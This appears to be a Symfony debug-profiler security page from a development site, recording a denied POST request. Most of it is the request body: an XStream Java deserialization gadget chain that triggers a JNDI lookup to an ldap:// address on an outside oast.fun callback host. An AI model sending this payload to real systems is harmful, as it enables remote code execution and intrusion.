https://dev.tracker.canadaeschool.ca/

Security

Token

There is no security token.

Firewall

main Name
Security enabled
Stateless

Configuration

Key Value
provider security.user.provider.concrete.app_user_provider
context main
entry_point App\Security\LoginFormAuthenticator
user_checker security.user_checker
access_denied_handler (none)
access_denied_url (none)
authenticators
[
  "switch_user"
  "form_login"
  "remember_me"
  "App\Security\AzureAuthenticator"
  "App\Security\ApiKeyAuthenticator"
]

Listeners

No security listeners have been recorded. Check that debugging is enabled in the kernel.

Authenticators

No authenticators have been recorded. Check previous profiles on your authentication endpoint.

Access Decision

affirmative Strategy
# Voter class
1
"Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter"
2
"Symfony\Component\Security\Core\Authorization\Voter\RoleVoter"
3
"Symfony\Component\Security\Core\Authorization\Voter\ExpressionVoter"

Access decision log

# Result Attributes Object
1 DENIED ROLE_USER
Symfony\Component\HttpFoundation\Request {#14
  +attributes: Symfony\Component\HttpFoundation\ParameterBag {#19 …}
  +request: Symfony\Component\HttpFoundation\InputBag {#17 …}
  +query: Symfony\Component\HttpFoundation\InputBag {#18 …}
  +server: Symfony\Component\HttpFoundation\ServerBag {#22 …}
  +files: Symfony\Component\HttpFoundation\FileBag {#21 …}
  +cookies: Symfony\Component\HttpFoundation\InputBag {#20 …}
  +headers: Symfony\Component\HttpFoundation\HeaderBag {#23 …}
  #content: """
    <java.util.PriorityQueue serialization='custom'>\r\n
      <unserializable-parents/>\r\n
      <java.util.PriorityQueue>\r\n
        <default>\r\n
          <size>2</size>\r\n
        </default>\r\n
        <int>3</int>\r\n
        <dynamic-proxy>\r\n
          <interface>java.lang.Comparable</interface>\r\n
          <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>\r\n
            <owner/>\r\n
            <managedObjectManagerClosed>false</managedObjectManagerClosed>\r\n
            <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>\r\n
              <stubHandlers>\r\n
                <entry>\r\n
                  <method>\r\n
                    <class>java.lang.Comparable</class>\r\n
                    <name>compareTo</name>\r\n
                    <parameter-types>\r\n
                      <class>java.lang.Object</class>\r\n
                    </parameter-types>\r\n
                  </method>\r\n
                  <com.sun.xml.internal.ws.client.sei.StubHandler>\r\n
                    <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>\r\n
                      <indices>\r\n
                        <int>0</int>\r\n
                      </indices>\r\n
                      <getters>\r\n
                        <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>\r\n
                      </getters>\r\n
                      <accessors>\r\n
                        <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>\r\n
                          <val_-isJAXBElement>false</val_-isJAXBElement>\r\n
                          <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>\r\n
                            <type>int</type>\r\n
                            <field>\r\n
                              <name>hash</name>\r\n
                              <clazz>java.lang.String</clazz>\r\n
                            </field>\r\n
                          </val_-getter>\r\n
                          <val_-isListType>false</val_-isListType>\r\n
                          <val_-n>\r\n
                            <namespaceURI/>\r\n
                            <localPart>hash</localPart>\r\n
                            <prefix/>\r\n
                          </val_-n>\r\n
                          <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>\r\n
                            <type>java.lang.String</type>\r\n
                            <method>\r\n
                              <class>javax.naming.InitialContext</class>\r\n
                              <name>doLookup</name>\r\n
                              <parameter-types>\r\n
                                <class>java.lang.String</class>\r\n
                              </parameter-types>\r\n
                            </method>\r\n
                          </val_-setter>\r\n
                          <outer-class>\r\n
                            <propertySetters>\r\n
                              <entry>\r\n
                                <string>serialPersistentFields</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                                  <type>[Ljava.io.ObjectStreamField;</type>\r\n
                                  <field>\r\n
                                    <name>serialPersistentFields</name>\r\n
                                    <clazz>java.lang.String</clazz>\r\n
                                  </field>\r\n
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                              </entry>\r\n
                              <entry>\r\n
                                <string>CASE_INSENSITIVE_ORDER</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                                  <type>java.util.Comparator</type>\r\n
                                  <field>\r\n
                                    <name>CASE_INSENSITIVE_ORDER</name>\r\n
                                    <clazz>java.lang.String</clazz>\r\n
                                  </field>\r\n
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                              </entry>\r\n
                              <entry>\r\n
                                <string>serialVersionUID</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                                  <type>long</type>\r\n
                                  <field>\r\n
                                    <name>serialVersionUID</name>\r\n
                                    <clazz>java.lang.String</clazz>\r\n
                                  </field>\r\n
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                              </entry>\r\n
                              <entry>\r\n
                                <string>value</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                                  <type>[C</type>\r\n
                                  <field>\r\n
                                    <name>value</name>\r\n
                                    <clazz>java.lang.String</clazz>\r\n
                                  </field>\r\n
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                              </entry>\r\n
                              <entry>\r\n
                                <string>hash</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                                  <type>int</type>\r\n
                                  <field reference='../../../../../val_-getter/field'/>\r\n
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>\r\n
                              </entry>\r\n
                            </propertySetters>\r\n
                            <propertyGetters>\r\n
                              <entry>\r\n
                                <string>serialPersistentFields</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldGetter>\r\n
                                  <type>[Ljava.io.ObjectStreamField;</type>\r\n
                                  <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>\r\n
                                </com.sun.xml.internal.ws.spi.db.FieldGetter>\r\n
                              </entry>\r\n
                              <entry>\r\n
                                <string>CASE_INSENSITIVE_ORDER</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldGetter>\r\n
                                  <type>java.util.Comparator</type>\r\n
                                  <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>\r\n
                                </com.sun.xml.internal.ws.spi.db.FieldGetter>\r\n
                              </entry>\r\n
                              <entry>\r\n
                                <string>serialVersionUID</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldGetter>\r\n
                                  <type>long</type>\r\n
                                  <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>\r\n
                                </com.sun.xml.internal.ws.spi.db.FieldGetter>\r\n
                              </entry>\r\n
                              <entry>\r\n
                                <string>value</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldGetter>\r\n
                                  <type>[C</type>\r\n
                                  <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>\r\n
                                </com.sun.xml.internal.ws.spi.db.FieldGetter>\r\n
                              </entry>\r\n
                              <entry>\r\n
                                <string>hash</string>\r\n
                                <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>\r\n
                              </entry>\r\n
                            </propertyGetters>\r\n
                            <elementLocalNameCollision>false</elementLocalNameCollision>\r\n
                            <contentClass>java.lang.String</contentClass>\r\n
                            <elementDeclaredTypes/>\r\n
                          </outer-class>\r\n
                        </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>\r\n
                      </accessors>\r\n
                      <wrapper>java.lang.Object</wrapper>\r\n
                      <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>\r\n
                      <dynamicWrapper>false</dynamicWrapper>\r\n
                    </bodyBuilder>\r\n
                    <isOneWay>false</isOneWay>\r\n
                  </com.sun.xml.internal.ws.client.sei.StubHandler>\r\n
                </entry>\r\n
              </stubHandlers>\r\n
              <clientConfig>false</clientConfig>\r\n
            </databinding>\r\n
            <methodHandlers>\r\n
              <entry>\r\n
                <method reference='../../../databinding/stubHandlers/entry/method'/>\r\n
                <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>\r\n
                  <owner reference='../../../..'/>\r\n
                  <method reference='../../../../databinding/stubHandlers/entry/method'/>\r\n
                  <isVoid>false</isVoid>\r\n
                  <isOneway>false</isOneway>\r\n
                </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>\r\n
              </entry>\r\n
            </methodHandlers>\r\n
          </handler>\r\n
        </dynamic-proxy>\r\n
        <string>ldap://d3s91986u0oh5ocpu4ugdp83hx885ex4g.oast.fun/#evil</string>\r\n
      </java.util.PriorityQueue>\r\n
    </java.util.PriorityQueue>
    """
  #languages: null
  #charsets: null
  #encodings: null
  #acceptableContentTypes: []
  #pathInfo: "/"
  #requestUri: "/"
  #baseUrl: ""
  #basePath: null
  #method: "POST"
  #format: null
  #session: Symfony\Component\HttpFoundation\Session\Session {#95 …}
  #locale: null
  #defaultLocale: "en"
  -preferredFormat: null
  -isHostValid: true
  -isForwardedValid: true
  -isSafeContentPreferred: null
  -isIisRewrite: false
  basePath: ""
  format: "html"
}
"Symfony\Component\Security\Core\Authorization\Voter\RoleVoter"
ACCESS DENIED
Show voter details